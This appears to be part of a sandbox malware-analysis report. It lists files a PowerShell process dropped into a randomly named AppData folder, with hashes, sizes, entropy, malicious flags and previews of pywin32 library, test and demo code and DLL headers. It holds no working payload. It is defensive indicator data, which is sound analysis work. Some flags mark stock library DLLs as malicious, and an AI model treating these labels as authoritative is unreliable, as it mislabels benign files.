              SHA-512:3F0E6CF04E0D18BDC1CA457E115D8B28A4239B3BD2B368D44D71B136F80EFDFE2BFB9F90EE53A5447486B01B6371AA3BDE3ABEE49A140A0D21A68357B8E9BB77
              Malicious:false
              Reputation:unknown
              Preview:import os.import sys.import traceback..import pythoncom.import win32ui.from win32com.axscript import axscript.from win32com.axscript.server import axsite.from win32com.axscript.server.error import Exception.from win32com.server import util..version = "0.0.1"...class MySite(axsite.AXSite):. def OnScriptError(self, error):. print("An error occurred in the Script Code"). exc = error.GetExceptionInfo(). try:. text = error.GetSourceLineText(). except:. text = "<unknown>". context, line, char = error.GetSourcePosition(). print(. "Exception: %s (line %d)\n%s\n%s^\n%s". % (exc[1], line, text, " " * (char - 1), exc[2]). )...class ObjectModel:. _public_methods_ = ["echo", "msgbox"].. def echo(self, *args):. print("".join(map(str, args))).. def msgbox(self, *args):. msg = "".join(map(str, args)). win32ui.MessageBox(msg)...def TestEngine():. model = {"Test": util.wrap(Ob

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\bits\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):192
              Entropy (8bit):4.73288878491099
              Encrypted:false
              SSDEEP:
              MD5:3D90A8BDF51DE0D7FAE66FC1389E2B45
              SHA1:B1D30B405F4F6FCE37727C9EC19590B42DE172EE
              SHA-256:7D1A6FE54DC90C23B0F60A0F0B3F9D5CAE9AC1AFECB9D6578F75B501CDE59508
              SHA-512:BD4EA236807A3C128C1EC228A19F75A0A6EF2B29603C571EE5D578847B20B395FEC219855D66A409B5057B5612E924EDCD5983986BEF531F1309ABA2FE7F0636
              Malicious:false
              Reputation:unknown
              Preview:# This is a python package.# __PackageSupportBuildPath__ not needed for distutil based builds,.# but not everyone is there yet..import win32com..win32com.__PackageSupportBuildPath__(__path__).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\bits\bits.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):46592
              Entropy (8bit):6.1599885596539234
              Encrypted:false
              SSDEEP:
              MD5:E237E05C23FA0387835F7EA2CFE74E0B
              SHA1:397A537CA4A5098CD5443EB2754BDBB5B8879A54
              SHA-256:282A1B861679B39D080E4B732DF4E56F7FFBF878F1D52A36D8E3C2A93E51728A
              SHA-512:22096F64A05CC179A6E7C917D9115AE06265366E367CE3C5B62701E7F850C03D7C219D9B629D0224B3F606AA2D797CE9C10CAA118037D5D64CDD9BDF8C299BC9
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Vks.Vks.Vks._..Rks...r.Tks...v.Dks...w.\ks...p.Wks.B.w.Wks...r.Tks...r.Rks.B.r.Qks.Vkr.8ks.B.u.Uks...z.]ks...s.Wks...q.Wks.RichVks.........PE..L......d...........!.....Z...X......oW.......p............................................@............................H...............L...............................T...........................p...@............p...............................text...[X.......Z.................. ..`.rdata...8...p...:...^..............@..@.data...............................@....rsrc...L...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\bits\test\show_all_jobs.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1583
              Entropy (8bit):4.925120953840814
              Encrypted:false
              SSDEEP:
              MD5:574AD594C36E73B70A59D3635601A4B3
              SHA1:BCBBD1E5A7BCF3ED00DE8CE55240B064C8183998
              SHA-256:69EB0FD2EBEF680A453A6D8A0BAE762D034CD8D13D01CFF9D9F49C210FACD5FB
              SHA-512:E12DA10AE68D8C2DCDA52C3CDD65BFBC59F9B85C9954A79042192A2ED5A4549ABE11E2E0E04964A8E4B44A3F3D988B35E50B045214421A37F54674B59AF16D07
              Malicious:false
              Reputation:unknown
              Preview:# Dump lots of info about BITS jobs..import pythoncom.from win32com.bits import bits..states = dict(. [. (val, (name[13:])). for name, val in vars(bits).items(). if name.startswith("BG_JOB_STATE_"). ].)..job_types = dict(. [. (val, (name[12:])). for name, val in vars(bits).items(). if name.startswith("BG_JOB_TYPE_"). ].)..bcm = pythoncom.CoCreateInstance(. bits.CLSID_BackgroundCopyManager,. None,. pythoncom.CLSCTX_LOCAL_SERVER,. bits.IID_IBackgroundCopyManager,.)..try:. enum = bcm.EnumJobs(bits.BG_JOB_ENUM_ALL_USERS).except pythoncom.error:. print("Failed to get jobs for all users - trying for current user"). enum = bcm.EnumJobs(0)..for job in enum:. print("Job:", job.GetDisplayName()). print("Description:", job.GetDescription()). print("Id:", job.GetId()). print("State:", states.get(job.GetState())). print("Type:", job_types.get(job.GetType())). print("Owner:", job.GetOwner()). print("Error

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\bits\test\test_bits.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3911
              Entropy (8bit):5.004305748117951
              Encrypted:false
              SSDEEP:
              MD5:B74809DA8C2D00398BB87C3E654C620C
              SHA1:11541D817CB690844E44CDD8ED55AEBA3928DD10
              SHA-256:635F84E356E4E51ACEF41E50BD3D69B22539B2A39BE04BD2FC99064D443A47C3
              SHA-512:2974BCFC7A106AAEE7E2DA779C71CBA11BD477F46C0D7F3DEBD5886DECCE5003FCFCBA27A7E8CE42016C4F22DB7D1CBA5AF53232E915864FFCF45AED0794DBFB
              Malicious:false
              Reputation:unknown
              Preview:import os.import tempfile..import pythoncom.import win32api.import win32event.from win32com.bits import bits.from win32com.server.util import wrap..TIMEOUT = 200 # ms.StopEvent = win32event.CreateEvent(None, 0, 0, None)..job_name = "bits-pywin32-test".states = dict(. [. (val, (name[13:])). for name, val in vars(bits).items(). if name.startswith("BG_JOB_STATE_"). ].)..bcm = pythoncom.CoCreateInstance(. bits.CLSID_BackgroundCopyManager,. None,. pythoncom.CLSCTX_LOCAL_SERVER,. bits.IID_IBackgroundCopyManager,.)...class BackgroundJobCallback:. _com_interfaces_ = [bits.IID_IBackgroundCopyCallback]. _public_methods_ = ["JobTransferred", "JobError", "JobModification"].. def JobTransferred(self, job):. print("Job Transferred", job). job.Complete(). win32event.SetEvent(StopEvent) # exit msg pump.. def JobError(self, job, error):. print("Job Error", job, error). f = error.GetFile(). print("While downlo

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\directsound\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):135
              Entropy (8bit):4.680015638860431
              Encrypted:false
              SSDEEP:
              MD5:F45C606FFC55FD2F41F42012D917BCE9
              SHA1:CA93419CC53FB4EFEF251483ABE766DA4B8E2DFD
              SHA-256:F0BB50AF1CAEA5B284BD463E5938229E7D22CC610B2D767EE1778E92A85849B4
              SHA-512:BA7BEBE62A6C2216E68E2D484C098662BA3D5217B39A3156B30E776D2BB3CF5D4F31DCDC48A2EB99BC5D80FFFE388B212EC707B7D10B48DF601430A07608FD46
              Malicious:false
              Reputation:unknown
              Preview:# See if we have a special directory for the binaries (for developers).import win32com..win32com.__PackageSupportBuildPath__(__path__).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\directsound\directsound.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):65024
              Entropy (8bit):6.58174397795815
              Encrypted:false
              SSDEEP:
              MD5:D40FB659214ED1B1CAFDE2BFF4EE7805
              SHA1:EC11C0EE357BD887143B07F54C9F3FD0C944F602
              SHA-256:924BBFB70AF3D48A62473E1CFB35A13BEA1F897664C672892A6B87574EE1D572
              SHA-512:1988E812AF70A7328D349F15A08110EB8E9B8659D84F670981998C72A79D1EFA02966D15DB1BED9D484EDB8201D84092CBC597669A8DA4DD337E4F37023F2F1B
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.o.....................\.......\.......\.......\.................................................b........................Rich....................PE..L......d...........!.....b...........].......................................@............@.............................X...X........ ..d....................0..........T...........................`...@............................................text....`.......b.................. ..`.rdata...v.......x...f..............@..@.data...............................@....rsrc...d.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\directsound\test\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):65
              Entropy (8bit):4.344714485879206
              Encrypted:false
              SSDEEP:
              MD5:E298466B6FD8193A58C680D2AE7D3C07
              SHA1:03EB7C7B6A5C0CE44615D9B3971E5E723FC6B72D
              SHA-256:CD76E2688236E4F28CDA19EEF724FC8BB23BFE9EA041F3CC6EDF9EBB11D59FF2
              SHA-512:50B6D223A092955BB007D9AFC25EBE6963D61D11E98C36EB6C1CD7B12852664B37763A40FD263796AC636EE3C1087912DBFF088CA64E887057E27BCA7C2D0B65
              Malicious:false
              Reputation:unknown
              Preview:# This is a Python package, imported by the win32com test suite..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\directsound\test\ds_record.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1403
              Entropy (8bit):5.171530998196383
              Encrypted:false
              SSDEEP:
              MD5:DD4ECEEB15A19F7C1C558D6E424CFCDE
              SHA1:6BC48290856569F33E29C59E120E5D1DC2E8681E
              SHA-256:1B62139669A62943BE5069F94B50C4CD6F5923BBA3860FC02C2E1731C9A32CDC
              SHA-512:E85CD425286184BD8DF76F5A38A4549EE62E2D75A50893ECA56C5CA4A5251CCA3F752608C759E79D47AB522F650B31AEF416360B6B83781D4ACCF308215D9E72
              Malicious:false
              Reputation:unknown
              Preview:import os.import struct..import pywintypes.import win32api.import win32com.directsound.directsound as ds.import win32event...def wav_header_pack(wfx, datasize):. return struct.pack(. "<4sl4s4slhhllhh4sl",. "RIFF",. 36 + datasize,. "WAVE",. "fmt ",. 16,. wfx.wFormatTag,. wfx.nChannels,. wfx.nSamplesPerSec,. wfx.nAvgBytesPerSec,. wfx.nBlockAlign,. wfx.wBitsPerSample,. "data",. datasize,. )...d = ds.DirectSoundCaptureCreate(None, None)..sdesc = ds.DSCBUFFERDESC().sdesc.dwBufferBytes = 352800 # 2 seconds.sdesc.lpwfxFormat = pywintypes.WAVEFORMATEX().sdesc.lpwfxFormat.wFormatTag = pywintypes.WAVE_FORMAT_PCM.sdesc.lpwfxFormat.nChannels = 2.sdesc.lpwfxFormat.nSamplesPerSec = 44100.sdesc.lpwfxFormat.nAvgBytesPerSec = 176400.sdesc.lpwfxFormat.nBlockAlign = 4.sdesc.lpwfxFormat.wBitsPerSample = 16..print(sdesc).print(d).buffer = d.CreateCaptureBuffer(sdesc)..event = win32event.CreateEvent(None

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\directsound\test\ds_test.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):12961
              Entropy (8bit):4.826440754319716
              Encrypted:false
              SSDEEP:
              MD5:18C3F46087F83FE4877AAD85FA9C52C1
              SHA1:A4AE6F8025C7BEEDB6EEE5EC7BF4937094951AFF
              SHA-256:D4A1A4CDCEE2AFBA48FFA16DD106B28F905D6BFEB94F3AE374D0235E2FB919D7
              SHA-512:1B6258266DD2BBFB57438995FCEED5A227E1F978A277599A7541418C588E054FB64449C2BC302304101EFD6F3AC4BFAF3280010F37853D0994B3048CC4683756
              Malicious:false
              Reputation:unknown
              Preview:import os.import struct.import sys.import unittest..import pythoncom.import pywintypes.import win32api.import win32com.directsound.directsound as ds.import win32event.from pywin32_testutil import TestSkipped, find_test_fixture..# next two lines are for for debugging:.# import win32com.# import directsound as ds..WAV_FORMAT_PCM = 1.WAV_HEADER_SIZE = struct.calcsize("<4sl4s4slhhllhh4sl")...def wav_header_unpack(data):. (. riff,. riffsize,. wave,. fmt,. fmtsize,. format,. nchannels,. samplespersecond,. datarate,. blockalign,. bitspersample,. data,. datalength,. ) = struct.unpack("<4sl4s4slhhllhh4sl", data).. if riff != b"RIFF":. raise ValueError("invalid wav header").. if fmtsize != 16 or fmt != b"fmt " or data != b"data":. # fmt chuck is not first chunk, directly followed by data chuck. # It is nowhere required that they are, it is just very common. raise Val

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\ifilter\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):40
              Entropy (8bit):3.931286772251353
              Encrypted:false
              SSDEEP:
              MD5:916CF97F5E542525C324DB1ED384D4E2
              SHA1:467D1EDB3C96F911D81B6A3FC1168BB8311CC910
              SHA-256:3F203F2B51718A49D2EBDFFDC73EDF022B70DA18F6ED35EC184DBB1B3C45D951
              SHA-512:CFFADA533B9CA2595122EE52B26C9B4D3AF69B7EF21400AE6CFB7F7AEE251DFFD6D1297A60E1F880D0EE5D744E27967685BCB218ABBFEDD708AB7D7F945A3AD5
              Malicious:false
              Reputation:unknown
              Preview:# empty file to designate as a package..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\ifilter\demo\filterDemo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):11463
              Entropy (8bit):4.154343121449287
              Encrypted:false
              SSDEEP:
              MD5:7BA17F3EBA067CACFF36F589C898ABD2
              SHA1:A828387A130628E678092379F630355A12C742A9
              SHA-256:357459402A50103692E99BAF675E46EFBCA764633F58B789015E1280A5AF16B3
              SHA-512:8AF8BD1EF99E0833EFE9589B5D8F9CDF3FA3E007DDE655937CE9F7B65F9F86EDEEA10D44A78B2B69FAC368870DE8A244A136F6F2275FC6BC776B2D9D1074C150
              Malicious:false
              Reputation:unknown
              Preview:import pythoncom.import pywintypes.from win32com import storagecon.from win32com.ifilter import ifilter.from win32com.ifilter.ifiltercon import *...class FileParser:. # Property IDs for the Storage Property Set. PIDS_BODY = 0x00000013.. # property IDs for HTML Storage Property Set. PIDH_DESCRIPTION = "DESCRIPTION". PIDH_HREF = "A.HREF". PIDH_IMGSRC = "IMG.SRC".. # conversion map to convert ifilter properties to more user friendly names. propertyToName = {. PSGUID_STORAGE: {PIDS_BODY: "body"},. PSGUID_SUMMARYINFORMATION: {. PIDSI_TITLE: "title",. PIDSI_SUBJECT: "description",. PIDSI_AUTHOR: "author",. PIDSI_KEYWORDS: "keywords",. PIDSI_COMMENTS: "comments",. },. PSGUID_HTMLINFORMATION: {PIDH_DESCRIPTION: "description"},. PSGUID_HTML2_INFORMATION: {PIDH_HREF: "href", PIDH_IMGSRC: "img"},. }.. def __init__(self, verbose=False):. self.f = None. self.stg = No

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\ifilter\ifilter.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):25088
              Entropy (8bit):5.998642276753337
              Encrypted:false
              SSDEEP:
              MD5:1807318382DF73EEA8FD6EABF481CC91
              SHA1:C53A6CE3F30ACE42BAD67656378D072B0C0B75FB
              SHA-256:E1D0069E77C39B17223D28D42F099AC38A135D5203E5C250B9695631731F8E06
              SHA-512:EBFFFB074788136974B411D9C00D5D3AE85F6ABF9642C83D8E9DCD7F7EA280F58BFA88CA5695BEF02C88997DDE032F58A92249289DCD1778553DBAAB1DBEB02C
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............e...e...e....Z..e.......e.......e.......e.......e.......e.......e..c....e.......e...e...e..c....e..c....e..c....e..Rich.e..........................PE..L......d...........!....."...<.......".......@............................................@.........................0b..P....b..........T............................Y..T...........................@Z..@............@..l............................text....!.......".................. ..`.rdata..l....@...0...&..............@..@.data........p.......V..............@....rsrc...T............X..............@..@.reloc...............\..............@..B................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\ifilter\ifiltercon.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3159
              Entropy (8bit):4.923767823689655
              Encrypted:false
              SSDEEP:
              MD5:7B6C258D30B63A234095143676B22ADF
              SHA1:E51FF7615A067A317D9B051D1C67A4299D70C166
              SHA-256:04323EB37D2D2168D97F350F6A8D7342E33539B8296B686C8CDCFE926803D078
              SHA-512:CDF1AEBCA7ECFF49BDA08D42941AC87013382909B35B812B6FAF2034A2FE9D486964CF5DB06D55EFB68DA9358B42E085D184E89F26A3996E02C13EDCC891202A
              Malicious:false
              Reputation:unknown
              Preview:# manual stuff.from pywintypes import IID..PSGUID_STORAGE = IID("{B725F130-47EF-101A-A5F1-02608C9EEBAC}").PSGUID_SUMMARYINFORMATION = IID("{F29F85E0-4FF9-1068-AB91-08002B27B3D9}").PSGUID_HTMLINFORMATION = IID("{D1B5D3F0-C0B3-11CF-9A92-00A0C908DBF1}").PSGUID_HTML2_INFORMATION = IID("{C82BF597-B831-11D0-B733-00AA00A1EBD2}")..IFILTER_INIT_CANON_PARAGRAPHS = 1.IFILTER_INIT_HARD_LINE_BREAKS = 2.IFILTER_INIT_CANON_HYPHENS = 4.IFILTER_INIT_CANON_SPACES = 8.IFILTER_INIT_APPLY_INDEX_ATTRIBUTES = 16.IFILTER_INIT_APPLY_CRAWL_ATTRIBUTES = 256.IFILTER_INIT_APPLY_OTHER_ATTRIBUTES = 32.IFILTER_INIT_INDEXING_ONLY = 64.IFILTER_INIT_SEARCH_LINKS = 128.IFILTER_INIT_FILTER_OWNED_VALUE_OK = 512..IFILTER_FLAGS_OLE_PROPERTIES = 1..CHUNK_TEXT = 0x1.CHUNK_VALUE = 0x2.CHUNK_NO_BREAK = 0.CHUNK_EOW = 1.CHUNK_EOS = 2.CHUNK_EOP = 3.CHUNK_EOC = 4..NOT_AN_ERROR = 0x00080000.FILTER_E_END_OF_CHUNKS = -2147215616.FILTER_E_NO_MORE_TEXT = -2147215615.FILTER_E_NO_MORE_VALUES = -2147215614.FILTER_E_ACCESS = -2147215613.FILT

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\internet\inetcon.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):11618
              Entropy (8bit):4.753110597909261
              Encrypted:false
              SSDEEP:
              MD5:A2CEED6223F6CCC8989F7B3E0A6B1C84
              SHA1:FA03E36EDF3FF88F9C0DA3A04A0147CB1814049B
              SHA-256:EC610923C9B22E554C898AB178AB36530212E68552E4B309E42D71F4C19503B5
              SHA-512:AD5EB56D329ED16ADAE2D152F2B5ECE5A431AB06B26C6BD4F0A47A1A52CC363B8FD72BEA69FA3DE3FECE0EFCCC2E5D27F3829970438B6288AAE54A2992161DD3
              Malicious:false
              Reputation:unknown
              Preview:INET_E_USE_DEFAULT_PROTOCOLHANDLER = -2146697199 # _HRESULT_TYPEDEF_(0x800C0011L).INET_E_USE_DEFAULT_SETTING = -2146697198 # _HRESULT_TYPEDEF_(0x800C0012L).INET_E_DEFAULT_ACTION = INET_E_USE_DEFAULT_PROTOCOLHANDLER.INET_E_QUERYOPTION_UNKNOWN = -2146697197 # _HRESULT_TYPEDEF_(0x800C0013L).INET_E_REDIRECTING = -2146697196 # _HRESULT_TYPEDEF_(0x800C0014L)..INET_E_INVALID_URL = -2146697214 # _HRESULT_TYPEDEF_(0x800C0002L).INET_E_NO_SESSION = -2146697213 # _HRESULT_TYPEDEF_(0x800C0003L).INET_E_CANNOT_CONNECT = -2146697212 # _HRESULT_TYPEDEF_(0x800C0004L).INET_E_RESOURCE_NOT_FOUND = -2146697211 # _HRESULT_TYPEDEF_(0x800C0005L).INET_E_OBJECT_NOT_FOUND = -2146697210 # _HRESULT_TYPEDEF_(0x800C0006L).INET_E_DATA_NOT_AVAILABLE = -2146697209 # _HRESULT_TYPEDEF_(0x800C0007L).INET_E_DOWNLOAD_FAILURE = -2146697208 # _HRESULT_TYPEDEF_(0x800C0008L).INET_E_AUTHENTICATION_REQUIRED = -2146697207 # _HRESULT_TYPEDEF_(0x800C0009L).INET_E_NO_VALID_MEDIA = -2146697206 # _HRESULT_TYPEDEF_(0x800C000

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\internet\internet.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):73728
              Entropy (8bit):6.334392782370234
              Encrypted:false
              SSDEEP:
              MD5:9A8C332F3E0825889F746622CB686911
              SHA1:8E05873EB2ACBE42390767AD23C878D8726E3C58
              SHA-256:54253D5AB7634E78CA88F91F3BEBE6328F2C5144EEC6BCD657D655A7BC38D05D
              SHA-512:707F84B1518397F2ACA593D62D95112244E4E05E122D384BD3258C8144BAF75B9CDB3346B01AA8DB2E1AF51F73AA95A0E31F9D6379B3A5847C1759309A0764C3
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9X..X6G.X6G.X6G. .G.X6G.-7F.X6G.-3F.X6G.-2F.X6G.-5F.X6G.32F.X6G)17F.X6GO-7F.X6G.37F.X6G.X7G.X6GO-?F.X6GO-6F.X6GO-4F.X6GRich.X6G................PE..L......d...........!................X........................................`............@.............................P...`........0..\....................@..........T........................... ...@...............D............................text............................... ..`.rdata...e.......f..................@..@.data...............................@....rsrc...\....0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\mapi\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):598
              Entropy (8bit):4.452174489930338
              Encrypted:false
              SSDEEP:
              MD5:9DC0B96E4086115BFA0124F10DE8DF27
              SHA1:12D70C7C9CE86D0DD497CD4B18982EC2A3A1F8F8
              SHA-256:2DB6C9A3EFC87F2A774F1D63D09EF649DCA0F764F5317C76B145595E8608699A
              SHA-512:9369BE70DBD6DBA5A108AFBE83686F42BB65EF2526D7C9015BA2D97A86CCAEC6CF40E4A8F9BF5BDC61ECDFCA10032508A57335CC540087857D613650F343A858
              Malicious:false
              Reputation:unknown
              Preview:if type(__path__) == type(""):. # For freeze to work!. import sys.. try:. import mapi.. sys.modules["win32com.mapi.mapi"] = mapi. except ImportError:. pass. try:. import exchange.. sys.modules["win32com.mapi.exchange"] = exchange. except ImportError:. pass. try:. import exchdapi.. sys.modules["win32com.mapi.exchdapi"] = exchdapi. except ImportError:. pass.else:. import win32com.. # See if we have a special directory for the binaries (for developers). win32com.__PackageSupportBuildPath__(__path__).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\mapi\demos\mapisend.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3558
              Entropy (8bit):4.925300298608504
              Encrypted:false
              SSDEEP:
              MD5:2330E0C56C096DD1817F4DD7F640D053
              SHA1:6C79E8F892F50AEB538833DB612BB94CDF76CB70
              SHA-256:1CD1A8B5147BE673262F63E784C23FD2611887D9EEEC3AB49AF260931489B3C2
              SHA-512:33EA73AC64FABCF3938B38C3BF502C8DFC4C444BA2D784BD52E277B28A0F9E80DF978A2B54659F39932E9D43DEBB9D5DEE35183B8ED5C4274E6D656648913E9D
              Malicious:false
              Reputation:unknown
              Preview:#!/usr/bin/env python.."""module to send mail with Extended MAPI using the pywin32 mapi wrappers..."""..# this was based on Jason Hattingh's C++ code at http://www.codeproject.com/internet/mapadmin.asp.# written by David Fraser <davidf at sjsoft.com> and Stephen Emslie <stephene at sjsoft.com>.# you can test this by changing the variables at the bottom and running from the command line..from win32com.mapi import mapi, mapitags...def SendEMAPIMail(. Subject="", Message="", SendTo=None, SendCC=None, SendBCC=None, MAPIProfile=None.):. """Sends an email to the recipient using the extended MAPI interface. Subject and Message are strings. Send{To,CC,BCC} are comma-separated address lists. MAPIProfile is the name of the MAPI profile""".. # initialize and log on. mapi.MAPIInitialize(None). session = mapi.MAPILogonEx(. 0, MAPIProfile, None, mapi.MAPI_EXTENDED | mapi.MAPI_USE_DEFAULT. ). messagestorestable = session.GetMsgStoresTable(0). messagestorestable

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\mapi\emsabtags.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):49320
              Entropy (8bit):4.713409859343289
              Encrypted:false
              SSDEEP:
              MD5:EA8F034EB98534C75F272B8439069E23
              SHA1:91911B94EE35A6393FD89150B5990722193A20B7
              SHA-256:9CD4D0847A677387AD43A9E27C45AFFE8DCE2B03F3DB5585B191E3D0E2446FBD
              SHA-512:D152007752EEEB1C6BF61F52A7B53763EFB1311B31614CC75DD6DDB8B3A1B1B42B366B29A527FA7FF12C7AA8F588B2D761A64245D11D6471D7BAA7E4BC1BE1ED
              Malicious:false
              Reputation:unknown
              Preview:# Converted "manually" from EMSABTAG.H.from .mapitags import (. PROP_TAG,. PT_APPTIME,. PT_BINARY,. PT_BOOLEAN,. PT_CLSID,. PT_CURRENCY,. PT_DOUBLE,. PT_ERROR,. PT_FLOAT,. PT_I2,. PT_I4,. PT_I8,. PT_LONG,. PT_LONGLONG,. PT_MV_APPTIME,. PT_MV_BINARY,. PT_MV_CLSID,. PT_MV_CURRENCY,. PT_MV_DOUBLE,. PT_MV_FLOAT,. PT_MV_I2,. PT_MV_I4,. PT_MV_I8,. PT_MV_LONG,. PT_MV_LONGLONG,. PT_MV_R4,. PT_MV_R8,. PT_MV_SHORT,. PT_MV_STRING8,. PT_MV_SYSTIME,. PT_MV_TSTRING,. PT_MV_UNICODE,. PT_NULL,. PT_OBJECT,. PT_R4,. PT_SHORT,. PT_STRING8,. PT_SYSTIME,. PT_TSTRING,. PT_UNICODE,. PT_UNSPECIFIED,.)..AB_SHOW_PHANTOMS = 2.AB_SHOW_OTHERS = 4..# Flags for ulFlag on ResolveNames.EMS_AB_ADDRESS_LOOKUP = 1...# Constructed, but externally visible..PR_EMS_AB_SERVER = PROP_TAG(PT_TSTRING, 65534).PR_EMS_AB_SERVER_A = PROP_TAG(PT_STRING8, 65534).PR_EMS_AB_SERVER_W = PROP_TAG(PT_UNICODE, 65534).PR_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\mapi\mapi.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):162304
              Entropy (8bit):6.596400165237489
              Encrypted:false
              SSDEEP:
              MD5:9387B5DBD459972655D7B59EE03AE708
              SHA1:5D73A2D0F3AD53F63C31173F6B32DD38E8CA9B28
              SHA-256:724A46CF68AE5EBEDD842CCC523FF4E41985A543326D62BB82A5983530362762
              SHA-512:4FCA0E27E90E8BC73BAAFA9A9EFD50231B8B8AD41797A54B5DB7363F44874D8A0B732B7FB6B87193BC4B12E5CDDA8AF37F92FF09E13D4E2A21E790A1D0AD3AFF
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}9V..W...W...W..d....W..iV...W..iR...W..iS...W..iT...W.TiV...W..wS...W.2uV...W..wV...W...V.2.W.Ti^...W.TiW...W.TiU...W.Rich..W.................PE..L......d...........!................w}....................................................@.........................P+..H....+..........L.......................P8......T...........................@...@............................................text...+........................... ..`.rdata..B...........................@..@.data....%...P......................@....rsrc...L............<..............@..@.reloc..P8.......:...@..............@..B........................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\mapi\mapitags.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):51436
              Entropy (8bit):4.950931920129641
              Encrypted:false
              SSDEEP:
              MD5:2CF7198F848CE136CD67A81D89FD1C2F
              SHA1:82F94791179550740AC42EF06F3483C212AABE38
              SHA-256:4AABD2B46EDDE811134333BF637088E6110C6B2849FFF1C0301DA365DDACF5BB
              SHA-512:CFC2958555B19D76C34DD251088C813E49EA6A9DD310490106819353EB7A3479319FD50092BA55A2A41AAAC7AF71A1AAA56CBC5274A8FE4EA74932884B3537AE
              Malicious:false
              Reputation:unknown
